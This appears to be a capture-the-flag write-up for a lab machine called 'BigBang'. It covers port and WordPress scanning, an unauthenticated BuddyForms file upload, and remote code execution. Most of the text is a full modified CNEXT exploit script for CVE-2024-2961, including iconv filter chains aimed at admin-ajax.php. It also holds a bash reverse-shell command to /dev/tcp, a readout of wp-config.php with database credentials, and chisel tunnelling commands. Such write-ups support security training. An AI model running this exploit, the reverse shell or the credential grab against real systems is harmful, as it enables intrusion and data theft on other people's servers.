Enum

$ rustscan -a <IP> --ulimit 10000 -b 1500 -- -sCTV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-`
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
I don`t always scan ports, but when I do, I prefer RustScan.
 
[~] Automatically increasing ulimit value to 10000.
Open <IP>:22
Open <IP>:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sCTV" on ip <IP>
Depending on the complexity of the script, results may take some time to appear.
*snip*
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBET3VRLx4oR61tt3uTowkXZzNICnY44UpSL7zW4DLrn576oycUCy2Tvbu7bRvjjkUAjg4G080jxHLRJGI4NJoWQ=
|   256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILbYOg6bg7lmU60H4seqYXpE3APnWEqfJwg1ojft/DPI
80/tcp open  http    syn-ack Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Info

Ports 22 & 80 SSH & HTTP New host : blog.bigbang.htb /etc/hosts

  • Visit webpage

  • “Made with Wordpress” wpscan
$ wpscan --url blog.bigbang.htb
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | `_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|
 
         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
 
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
 
[i] Updating the Database ...
[i] Update completed.
 
[+] URL: http://blog.bigbang.htb/ [<IP>]
 
Interesting Finding(s):
 
[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.62 (Debian)
 |  - X-Powered-By: PHP/8.3.2
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
 
[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
 
[+] WordPress readme found: http://blog.bigbang.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 
[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 
[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299
 
[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 |  - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 
[+] WordPress theme in use: twentytwentyfour
 | Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | [!] Directory listing is enabled
 | Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'
 
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
 
[i] Plugin(s) Identified:
 
[+] buddyforms
 | Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
 | Last Updated: 2024-09-25T04:52:00.000Z
 | [!] The version is out of date, the latest version is 2.8.13
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 2.7.7 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
 
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <===============> (137 / 137) 100.00% Time: 00:00:00
 
[i] No Config Backups Found.
  • Buddyforms seems to be an outdated version, testing upload we find endpoint

About PoC

Abuses same admin-ajax.php endpoint

Unauthenticated

Uploads payloads with magic bytes to trick image upload filters

RCE through phar deserialization

  • Need to host http server and use burpsuite or curl for requests

evil.php

<?php
 
class Evil
{
    public function __wakeup()
    {
        system('id');
    }
}
 
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Evil());
$phar->stopBuffering();
  • Execute to create phar payload with GIF magic bytes
$ php --define phar.readonly=0 evil.php
  • Host HTTP server where evil.php is located
$ python3 -m http.server PORT
  • Using burp to send request to blog.bigbang.htb

  • Phar deserialization does not work as PoC describes Need different RCE
  • Let’s enumerate /wp-content

  • Opening these files shows they are corrupted
  • Further inspection reveals something strange within them
$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/10-3.png -o 10-3.png
 
$ strings 10-3.png
*snip*
'libc.so.6'
*snip*
 
$ file 10-3.png
10-3.png: GIF image data, version 89a, 22616 x 22616
 
$ xxd 10-3.png | head -n 20
00000000: 4749 4638 3961 5858 5858 4d4d 7f45 4c46  GIF89aXXXXMM.ELF
00000010: 0201 0103 0000 0000 0000 0000 0300 3e00  ..............>.
00000020: 0100 0000 1074 0200 0000 0000 4000 0000  .....t......@...
00000030: 0000 0000 5844 1d00 0000 0000 0000 0000  ....XD..........
00000040: 4000 3800 0e00 4000 4000 3f00 0600 0000  @.8...@.@.?.....
00000050: 0400 0000 4000 0000 0000 0000 4000 0000  ....@.......@...
00000060: 0000 0000 4000 0000 0000 0000 1003 0000  ....@...........
00000070: 0000 0000 1003 0000 0000 0000 0800 0000  ................
00000080: 0000 0000 0300 0000 0400 0000 f00a 1a00  ................
00000090: 0000 0000 f00a 1a00 0000 0000 f00a 1a00  ................
000000a0: 0000 0000 1c00 0000 0000 0000 1c00 0000  ................
000000b0: 0000 0000 1000 0000 0000 0000 0100 0000  ................
000000c0: 0400 0000 0000 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 3853 0200  ............8S..
000000e0: 0000 0000 3853 0200 0000 0000 0010 0000  ....8S..........
000000f0: 0000 0000 0100 0000 0500 0000 0060 0200  .............`..
00000100: 0000 0000 0060 0200 0000 0000 0060 0200  .....`.......`..
00000110: 0000 0000 fc4d 1500 0000 0000 fc4d 1500  .....M.......M..
00000120: 0000 0000 0010 0000 0000 0000 0100 0000  ................
00000130: 0400 0000 00b0 1700 0000 0000 00b0 1700  ................
  • GIF magic bytes around ELF file
  • Extract .ELF from between GIF tags
  • Analyze the binary
$ dd if=10-3.png of=extracted_elf bs=1 skip=12
1922124+0 records in
1922124+0 records out
1922124 bytes (1.9 MB, 1.8 MiB) copied, 3.57249 s, 538 kB/s
 
$ file extracted_elf
extracted_elf: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 1922072
 
$ readelf -n extracted_elf
readelf: Error: Reading 4096 bytes extends past end of file for section headers
 
Displaying notes found at file offset 0x00000350 with length 0x00000020:
  Owner                Data size 	Description
  GNU                  0x00000010	NT_GNU_PROPERTY_TYPE_0
      Properties: x86 ISA needed: x86-64-baseline
 
Displaying notes found at file offset 0x00000370 with length 0x00000044:
  Owner                Data size 	Description
  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)
    Build ID: '82ce4e6e4ef08fa58a3535f7437bd3e592db5ac0'
  GNU                  0x00000010	NT_GNU_ABI_TAG (ABI version tag)
    OS: Linux, ABI: 3.2.0
  • 82ce4e6e4ef08fa58a3535f7437bd3e592db5ac0 libc.so.6 buildID

Confirmed Unauth Upload, no RCE yet.

> https://www.ambionics.io/blog/iconv-cve-2024-2961-p1#cve-2024-2961-a-bug-in-the-glibc

Uses CVE-2023–26326 + wrapwrap + avoids phar deserialization

Need to modify cnext.py to our needs for revshell

https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

  • Need correct libc.so.6

libcVersion.py

from pwn import *
print(libcdb.search_by_build_id('82ce4e6e4ef08fa58a3535f7437bd3e592db5ac0'))
  • Execute to grab correct libc version
$ python3 libcVersion.py
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
[x] Downloading 'https://gitlab.com/libcdb/libcdb/raw/master/hashes/build_id/82ce4e6e4ef08fa58a3535f7437bd3e592db5a[/.......] Downloading 'https://gitlab.com/libcdb/libcdb/raw/master/hashes/build_id/82ce4e6e4ef08fa58a3535f7437bd3e592db5ac0' Downloading 'https://gitlab.com/libcdb/libcdb/raw/master/hashes/build_id/82ce4e6e4ef08fa58a3535f7437bd3e[./......] Downloading 'https://gitlab.com/libcdb/libcdb/raw/master/hashes/build_id/82ce4e6e4ef08fa58a3535f7437bd3e[-] Downloading 'https://gitlab.com/libcdb/libcdb/raw/master/hashes/build_id/82ce4e6e4ef08fa58a3535f7437bd3e592db5ac0': Got code 404
[!] Could not fetch libc for build_id 82ce4e6e4ef08fa58a3535f7437bd3e592db5ac0 from libcdb
[+] Downloading 'https://libc.rip/download/libc6_2.36-9%2Bdeb12u4_amd64.so': 1.83MB
[!] Couldn't find "eu-unstrip" in PATH. Install elfutils first.
 
 
$ mv /home/XXX/.cache/.pwntools-cache-3.12/libcdb/build_id/82ce4e6e4ef08fa58a3535f7437bd3e592db5ac0
./libc.so.6
# needs to be in same dir as exploit.py

exploit.py

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
 
from __future__ import annotations
 
import base64
import zlib
 
from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
 
from pwn import *
from ten import *
import urllib
from urllib.parse import urlparse
 
HEAP_SIZE = 2 * 1024 * 1024
BUG = "".encode("utf-8")
 
class Remote:
    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()
 
    def send(self, path: str) -> Response:
        path = path
 
        resp = self.session.post(f"http://blog.bigbang.htb/wp-admin/admin-ajax.php", data={
            "action" : "upload_image_from_url",
            "url" : urllib.parse.quote_plus(path),
            "id" : 1,
            "accepted_files" : "image/gif"
        })
        resp = self.session.get(resp.json()["response"])
        responses = resp.text
        return responses
 
    def download(self, path: str) -> bytes:
        path = path
 
        resp = self.session.post(f"http://blog.bigbang.htb/wp-admin/admin-ajax.php", data={
            "action" : "upload_image_from_url",
            "url" : f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}",
            "id" : 1,
            "accepted_files" : "image/gif"
        })
        resp = self.session.get(resp.json()["response"])
        responses = resp.text[9:]
        return responses.encode()
 
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""
 
    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20
 
    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)
 
    def get_file(self, path: str) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)
 
    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.get_file("../../../../../proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")
 
        self.log.info(f"Got {len(regions)} memory regions")
 
        return regions
 
    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()
 
        LIBC_FILE = "./libc.so.6"
 
        # PHP's heap
 
        self.info["heap"] = self.heap or self.find_main_heap(regions)
 
        # Libc
 
        libc = self._get_region(regions, "libc-", "libc.so")
 
        #self.download_file(libc.path, LIBC_FILE)
 
        self.info["libc"] = ELF(LIBC_FILE)
        self.info["libc"].address = libc.start
 
    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")
 
        return region
 
    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write(data)
 
    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]
 
        if not heaps:
            failure("Unable to find PHP's main heap in memory")
 
        first = heaps[0]
 
        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")
 
        return first
 
    def run(self) -> None:
        #self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()
 
    def build_exploit_path(self) -> str:
 
        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
 
        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
 
        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
 
        CS = 0x100
 
        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)
 
        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)
 
        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
 
        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)
 
        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)
 
        step3_size = CS
 
        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)
 
        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)
 
        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)
 
        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )
 
        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )
 
        step4_use_custom_heap_size = 0x140
 
        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"
 
        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
 
        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
 
        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )
 
        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"
 
        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",
 
            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",
 
            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",
 
            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",
 
            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
 
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="
 
        path += f"php://filter/read={filters}/resource={resource}"
        return path
 
    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()
 
        try:
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass
 
        msg_print()
 
        if not self.sleep:
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
 
        msg_print()
 
def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]
 
def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()
 
def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)
 
def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()
 
def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)
 
    return bucket
 
def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"
 
@dataclass
class Region:
    """A memory region."""
 
    start: int
    stop: int
    permissions: str
    path: str
 
    @property
    def size(self) -> int:
        return self.stop - self.start
 
Exploit()
  • Execute
$ python3 exploit.py 'http://blog.bigbang.htb/' "/bin/bash -c 'bash -i >&/dev/tcp/<IP>/<PORT> 0>&1'"
 
[*] Potential heaps: 0x7fcd63a00040, 0x7fcd63800040, 0x7fcd62200040, 0x7fcd5fa00040, 0x7fcd5f400040,
0x7fcd5ee00040, 0x7fcd5e400040 (using first)
[*] '/path/to/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
 
     EXPLOIT  SUCCESS
  • Catch with listener
www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User

  • Now we can explore files easier, specifically wp-config.php
www-data@bf9a078a3627:/var/www/html/wordpress$ cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */
 
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
 
/** Database username */
define( 'DB_USER', 'wp_user' );
 
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
 
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
 
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
 
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
 
*snip*

MYSQL DB INFO

DB_NAME : wordpress

DB_USER : wp_user

DB_PASSWORD : wp_password

DB_HOST : 172.17.0.1

  • In a docker container so we need to portfwd with chisel/meterpreter/etc

https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz

# LOCAL MACHINE
 
$ gunzip chisel_1.10.1_linux_amd64.gz
$ mv chisel_1.10.1_linux_amd64 chisel
$ chmod +x chisel
$ ./chisel server --reverse --port <PORT>
 
server: Reverse tunnelling enabled
server: Fingerprint e+S7MXA3dg7wAMaw5pTa+aPVXTP0egTlIPG5WHnsa3Y=
